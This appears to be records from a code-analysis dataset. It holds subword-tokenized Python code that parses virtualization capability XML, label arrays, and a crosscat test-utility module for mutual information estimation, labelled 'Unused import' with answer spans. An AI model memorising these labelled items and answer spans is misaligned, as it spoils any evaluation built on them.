"topology_", "[_", "'", "socket", "s", "'_", "]_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "/", "topo", "log", "y", "/", "@", "socket", "s", "'_", "%_", "host", "\\u", "cpu", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "topology_", "[_", "'", "cores", "'_", "]_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "/", "topo", "log", "y", "/", "@", "cores", "'_", "%_", "host", "\\u", "cpu", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "topology_", "[_", "'", "thread", "s", "'_", "]_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "/", "topo", "log", "y", "/", "@", "thread", "s", "'_", "%_", "host", "\\u", "cpu", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpu_", "[_", "'", "topo", "log", "y", "'_", "]_", "=_", "topology_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "features_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feature_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feature", "\\u", "num_", "=_", "XML", "Xp", "ath", "Num_", "(_", "doc_", ",_", "'%", "s", "/", "feature", "'_", "%_", "host", "\\u", "cpu", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "1_", ",_", "feature", "\\u", "num_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "/", "feature", "[", "%", "i", "]/", "@", "name", "'_", "%_", "(_", "host", "\\u", "cpu", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feature_", "._", "append_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "vmx", "_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "/", "features", "/", "vmx", "'_", "%_", "host", "\\u", "cpu", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", "[_", "'", "feature", "'_", "]_", "=_", "feature_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", "[_", "'", "vmx", "'_", "]_", "=_", "vmx", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpu_", "[_", "'", "feature", "'_", "]_", "=_", "features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "[_", "'", "cpu", "'_", "]_", "=_", "cpu_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "host", " ", "-", " ", "migrati", "on", "\\u", "features", " ", "section_", "\\u\\u\\uNL\\u\\u\\u_", "host", "\\u", "migrati", "on", "\\u", "features", "\\u", "xpath_", "=_", "\"%", "s", "/", "migrati", "on", "\\u", "features", "\"_", "%_", "host", "\\u", "xpath_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "migrati", "on", "\\u", "features_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "uri", "\\u", "transports_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uri", "\\u", "transport", "\\u", "num_", "=_", "XML", "Xp", "ath", "Num_", "(_", "doc_", ",_", "'%", "s", "/", "uri", "\\u", "transport", "s", "/", "uri", "\\u", "transport", "'_", "%_", "host", "\\u", "migrati", "on", "\\u", "features", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "1_", ",_", "uri", "\\u", "transport", "\\u", "num_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "uri", "\\u", "transport_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "/", "uri", "\\u", "transport", "s", "/", "uri", "\\u", "transport", "/", "text", "()'_", "%_", "host", "\\u", "migrati", "on", "\\u", "features", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uri", "\\u", "transports_", "._", "append_", "(_", "uri", "\\u", "transport_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "live_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "/", "live", "'_", "%_", "host", "\\u", "migrati", "on", "\\u", "features", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "migrati", "on", "\\u", "features_", "[_", "'", "uri", "\\u", "transport", "s", "'_", "]_", "=_", "uri", "\\u", "transports_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "migrati", "on", "\\u", "features_", "[_", "'", "live", "'_", "]_", "=_", "live_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "[_", "'", "migrati", "on", "\\u", "features", "'_", "]_", "=_", "migrati", "on", "\\u", "features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "guest", " ", "section_", "\\u\\u\\uNL\\u\\u\\u_", "guest", "\\u", "xpath_", "=_", "\"%", "s", "/", "guest", "\"_", "%_", "xpa", "th", "\\u", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "guest", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "guest", "\\u", "num_", "=_", "XML", "Xp", "ath", "Num_", "(_", "doc_", ",_", "'%", "s", "'_", "%_", "guest", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "1_", ",_", "guest", "\\u", "num_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "guest_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "os", "\\u", "type_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "os", "\\u", "type", "/", "text", "()'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arch_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "arch", "/", "@", "name", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words", "ize_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "arch", "/", "words", "ize", "/", "text", "()'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "emulator", "_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "arch", "/", "emulator", "/", "text", "()'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "machines_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "machine", "\\u", "num_", "=_", "XML", "Xp", "ath", "Num_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "arch", "/", "machine", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "m_", "in_", "range_", "(_", "1_", ",_", "machine", "\\u", "num_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "machine_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "arch", "/", "machine", "[", "%", "i", "]/", "text", "()'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", "m_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "machines_", "._", "append_", "(_", "machine_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "domain_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "type_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "arch", "/", "domain", "/", "@", "type", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "domain_", "[_", "'", "type", "'_", "]_", "=_", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arch_", "[_", "'", "name", "'_", "]_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arch_", "[_", "'", "words", "ize", "'_", "]_", "=_", "words", "ize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arch_", "[_", "'", "emulator", "'_", "]_", "=_", "emulator", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arch_", "[_", "'", "machine", "'_", "]_", "=_", "machines_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arch_", "[_", "'", "domain", "'_", "]_", "=_", "domain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "features_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpus", "election_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "features", "/", "cpus", "election", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pa", "e_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "features", "/", "pa", "e", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nonp", "ae_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "features", "/", "nonp", "ae", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ac", "pi_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "default_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "features", "/", "ac", "pi", "/", "@", "default", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "toggle_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "features", "/", "ac", "pi", "/", "@", "toggle", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ac", "pi_", "[_", "'", "default", "'_", "]_", "=_", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ac", "pi_", "[_", "'", "toggle", "'_", "]_", "=_", "toggle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "apic", "_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "default_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "features", "/", "apic", "/", "@", "default", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "toggle_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "[", "%", "i", "]/", "features", "/", "apic", "/", "@", "toggle", "'_", "%_", "(_", "guest", "\\u", "xpath_", ",_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "apic", "_", "[_", "'", "default", "'_", "]_", "=_", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "apic", "_", "[_", "'", "toggle", "'_", "]_", "=_", "toggle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", "[_", "'", "ac", "pi", "'_", "]_", "=_", "ac", "pi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", "[_", "'", "apic", "'_", "]_", "=_", "apic", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "guest_", "[_", "'", "os", "\\u", "type", "'_", "]_", "=_", "os", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "guest_", "[_", "'", "arch", "'_", "]_", "=_", "arch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "guest_", "[_", "'", "features", "'_", "]_", "=_", "features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "guest", "s_", "._", "append_", "(_", "guest_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "host_", "=_", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "guest_", "=_", "guest", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "{_", "\"", "host", "\"_", ":_", "self_", "._", "host_", ",_", "\"", "guest", "\"_", ":_", "self_", "._", "guest_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
probcomp/crosscat/src/tests/mutual_information_test_utils.py
[ { "content": "#\n# Copyright (c) 2010-2016, MIT Probabilistic Computing Project\n#\n# Lead Developers: Dan Lovell and Jay Baxter\n# Authors: Dan Lovell, Baxter Eaves, Jay Baxter, Vikash Mansinghka\n# Research Leads: Vikash Mansinghka, Patrick Shafto\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport scipy.spatial as ss\nfrom scipy.special import digamma,gamma\nfrom math import log,pi\nimport numpy.random as nr\nimport crosscat.utils.data_utils as du\nimport crosscat.cython_code.State as State\nimport random\nimport numpy\n\n\n\n\n\n# Generates a num_rows by num_cols array of data with covariance matrix I^{num_cols}*corr\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def mi(x,y,k=3,base=2):\n \"\"\" Mutual information of x and y\n x,y should be a list of vectors, e.g. x = [[1.3],[3.7],[5.1],[2.4]]\n if x is a one-dimensional scalar and we have four samples\n \"\"\"\n x = [[entry] for entry in x]\n y = [[entry] for entry in y]\n assert len(x)==len(y), \"Lists should have same length\"\n assert k <= len(x) - 1, \"Set k smaller than num. samples - 1\"\n intens = 1e-10 #small noise to break degeneracy, see doc.\n x = [list(p + intens*nr.rand(len(x[0]))) for p in x]\n y = [list(p + intens*nr.rand(len(y[0]))) for p in y]\n points = zip2(x,y)\n #Find nearest neighbors in joint space, p=inf means max-norm\n tree = ss.cKDTree(points)\n dvec = [tree.query(point,k+1,p=float('inf'))[0][k] for point in points]\n a,b,c,d = avgdigamma(x,dvec), avgdigamma(y,dvec), digamma(k), digamma(len(x)) \n return (-a-b+c+d)/log(base)", "metadata": "root.mi", "header": "['module', '___EOS___']", "index": 28 }, { "content": "def avgdigamma(points,dvec):\n #This part finds number of neighbors in some radius in the marginal space\n #returns expectation value of <psi(nx)>\n N = len(points)\n tree = ss.cKDTree(points)\n avg = 0.\n for i in range(N):\n dist = dvec[i]\n #subtlety, we don't include the boundary point, \n #but we are implicitly adding 1 to kraskov def bc center point is included\n num_points = len(tree.query_ball_point(points[i],dist-1e-15,p=float('inf'))) \n avg += digamma(num_points)/N\n return avg", "metadata": "root.avgdigamma", "header": "['module', '___EOS___']", "index": 47 }, { "content": "def zip2(*args):\n #zip2(x,y) takes the lists of vectors and makes it a list of vectors in a joint space\n #E.g. zip2([[1],[2],[3]],[[4],[5],[6]]) = [[1,4],[2,5],[3,6]]\n return [sum(sublist,[]) for sublist in zip(*args)]", "metadata": "root.zip2", "header": "['module', '___EOS___']", "index": 61 }, { "content": "def generate_correlated_data(num_rows, num_cols, means, corr, seed=0):\n assert(corr <= 1 and corr >= 0)\n assert(num_cols == len(means))\n\n numpy.random.seed(seed=seed)\n\n mu = numpy.array(means)\n sigma = numpy.ones((num_cols,num_cols),dtype=float)*corr\n for i in range(num_cols):\n sigma[i,i] = 1 \n X = numpy.random.multivariate_normal(mu, sigma, num_rows)\n\n return X", "metadata": "root.generate_correlated_data", "header": "['module', '___EOS___']", "index": 68 }, { "content": "def generate_correlated_state(num_rows, num_cols, num_views, num_clusters, mean_range, corr, seed=0):\n #\n\n assert(num_clusters <= num_rows)\n assert(num_views <= num_cols)\n T = numpy.zeros((num_rows, num_cols))\n\n random.seed(seed)\n numpy.random.seed(seed=seed)\n get_next_seed = lambda : random.randrange(2147483647)\n\n # generate an assignment of columns to views (uniform)\n cols_to_views = range(num_views)\n view_counts = numpy.ones(num_views, dtype=int)\n for i in range(num_views, num_cols):\n r = random.randrange(num_views)\n cols_to_views.append(r)\n view_counts[r] += 1\n\n random.shuffle(cols_to_views)\n\n assert(len(cols_to_views) == num_cols)\n assert(max(cols_to_views) == num_views-1)\n\n # for each view, generate an assignment of rows to num_clusters\n row_to_clusters = []\n cluster_counts = []\n for view in range(num_views):\n row_to_cluster = range(num_clusters)\n cluster_counts_i = numpy.ones(num_clusters,dtype=int)\n for i in range(num_clusters, num_rows):\n r = random.randrange(num_clusters)\n row_to_cluster.append(r)\n cluster_counts_i[r] += 1\n\n random.shuffle(row_to_cluster)\n\n assert(len(row_to_cluster) == num_rows)\n assert(max(row_to_cluster) == num_clusters-1)\n\n row_to_clusters.append(row_to_cluster)\n cluster_counts.append(cluster_counts_i)\n\n assert(len(row_to_clusters) == num_views)\n\n # generate the correlated data\n for view in range(num_views):\n for cluster in range(num_clusters):\n cell_cols = view_counts[view]\n cell_rows = cluster_counts[view][cluster]\n means = numpy.random.uniform(-mean_range/2.0,mean_range/2.0,cell_cols)\n X = generate_correlated_data(cell_rows, cell_cols, means, corr, seed=get_next_seed())\n # get the indices of the columns in this view\n col_indices = numpy.nonzero(numpy.array(cols_to_views)==view)[0]\n # get the indices of the rows in this view and this cluster\n row_indices = numpy.nonzero(numpy.array(row_to_clusters[view])==cluster)[0]\n # insert the data\n for col in range(cell_cols):\n for row in range(cell_rows):\n r = row_indices[row]\n c = col_indices[col]\n T[r,c] = X[row,col]\n\n\n M_c = du.gen_M_c_from_T(T)\n M_r = du.gen_M_r_from_T(T)\n X_L, X_D = generate_X_L_and_X_D(T, M_c, cols_to_views, row_to_clusters, seed=get_next_seed())\n\n return T, M_c, M_r, X_L, X_D, cols_to_views", "metadata": "root.generate_correlated_state", "header": "['module', '___EOS___']", "index": 82 }, { "content": "def generate_X_L_and_X_D(T, M_c, cols_to_views, row_to_clusters, seed=0):\n state = State.p_State(M_c, T, SEED=seed)\n X_L = state.get_X_L()\n\n # insert assigment into X_L (this is not a valid X_L because the counts and \n # suffstats will be wrong)\n X_L['column_partition']['assignments'] = cols_to_views\n state = State.p_State(M_c, T, X_L=X_L, X_D=row_to_clusters, SEED=seed)\n\n X_L = state.get_X_L()\n X_D = state.get_X_D()\n\n return X_L, X_D", "metadata": "root.generate_X_L_and_X_D", "header": "['module', '___EOS___']", "index": 152 } ]
[ { "span": "from scipy.special import digamma,gamma", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 39 }, { "span": "from math import log,pi", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 23 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "2010", "-", "2016", ",", " ", "MIT", " ", "Probabili", "stic", " ", "Comp", "uti", "ng", " ", "Project_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Lead", " ", "Dev", "elope", "rs", ":", " ", "Dan", " ", "Lo", "vel", "l", " ", "and", " ", "Ja", "y", " ", "Ba", "xter", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Author", "s", ":", " ", "Dan", " ", "Lo", "vel", "l", ",", " ", "Ba", "xter", " ", "Ea", "ves", ",", " ", "Ja", "y", " ", "Ba", "xter", ",", " ", "Vi", "kas", "h", " ", "Man", "sing", "hk", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Rese", "arch", " ", "Lead", "s", ":", " ", "Vi", "kas", "h", " ", "Man", "sing", "hk", "a", ",", " ", "Patr", "ick", " ", "Sha", "fto", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "scipy_", "._", "spatial_", "as_", "ss_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "scipy_", "._", "special_", "import_", "dig", "amma", "_", ",_", "gamma_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "math_", "import_", "log_", ",_", "pi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "._", "random_", "as_", "nr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "cross", "cat_", "._", "utils_", "._", "data\\u", "utils_", "as_", "du_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "cross", "cat_", "._", "cython", "\\u", "code_", "._", "State_", "as_", "State_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Generate", "s", " ", "a", " ", "num", "\\u", "rows", " ", "by", " ", "num", "\\u", "cols", " ", "array", " ", "of", " ", "data", " ", "with", " ", "covariance", " ", "matrix", " ", "I", "^", "{", "num", "\\u", "cols", "}*", "corr_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "mi_", "(_", "x_", ",_", "y_", ",_", "k_", "=_", "3_", ",_", "base_", "=_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Mut", "ual", " ", "informati", "on", " ", "of", " ", "x", " ", "and", " ", "y", "\\", "10", ";", " ", " ", "x", ",", "y", " ", "shou", "ld", " ", "be", " ", "a", " ", "list", " ", "of", " ", "vector", "s", ",", " ", "e", ".", "g", ".", " ", "x", " ", "=", " ", "[[", "1.3", "],[", "3.7", "],[", "5.1", "],[", "2.4", "]]", "\\", "10", ";", " ", " ", "if", " ", "x", " ", "is", " ", "a", " ", "one", "-", "dimension", "al", " ", "scala", "r", " ", "and", " ", "we", " ", "have", " ", "four", " ", "samples", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "[_", "[_", "entry_", "]_", "for_", "entry_", "in_", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "[_", "[_", "entry_", "]_", "for_", "entry_", "in_", "y_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "x_", ")_", "==_", "len_", "(_", "y_", ")_", ",_", "\"", "List", "s", " ", "shou", "ld", " ", "have", " ", "same", " ", "length", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "k_", "<=_", "len_", "(_", "x_", ")_", "-_", "1_", ",_", "\"", "Set", " ", "k", " ", "small", "er", " ", "than", " ", "num", ".", " ", "samples", " ", "-", " ", "1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inten", "s_", "=_", "1e-10_", "#", "small", " ", "noise", " ", "to", " ", "break", " ", "deg", "enera", "cy", ",", " ", "see", " ", "doc", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "[_", "list_", "(_", "p_", "+_", "inten", "s_", "*_", "nr_", "._", "rand_", "(_", "len_", "(_", "x_", "[_", "0_", "]_", ")_", ")_", ")_", "for_", "p_", "in_", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "[_", "list_", "(_", "p_", "+_", "inten", "s_", "*_", "nr_", "._", "rand_", "(_", "len_", "(_", "y_", "[_", "0_", "]_", ")_", ")_", ")_", "for_", "p_", "in_", "y_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "points_", "=_", "zip", "2_", "(_", "x_", ",_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Fin", "d", " ", "near", "est", " ", "neighbor", "s", " ", "in", " ", "joint", " ", "space", ",", " ", "p", "=", "inf", " ", "means", " ", "max", "-", "norm_", "\\u\\u\\uNL\\u\\u\\u_", "tree_", "=_", "ss_", "._", "c", "KD", "Tree_", "(_", "points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dv", "ec_", "=_", "[_", "tree_", "._", "query_", "(_", "point_", ",_", "k_", "+_", "1_", ",_", "p_", "=_", "float_", "(_", "'", "inf", "'_", ")_", ")_", "[_", "0_", "]_", "[_", "k_", "]_", "for_", "point_", 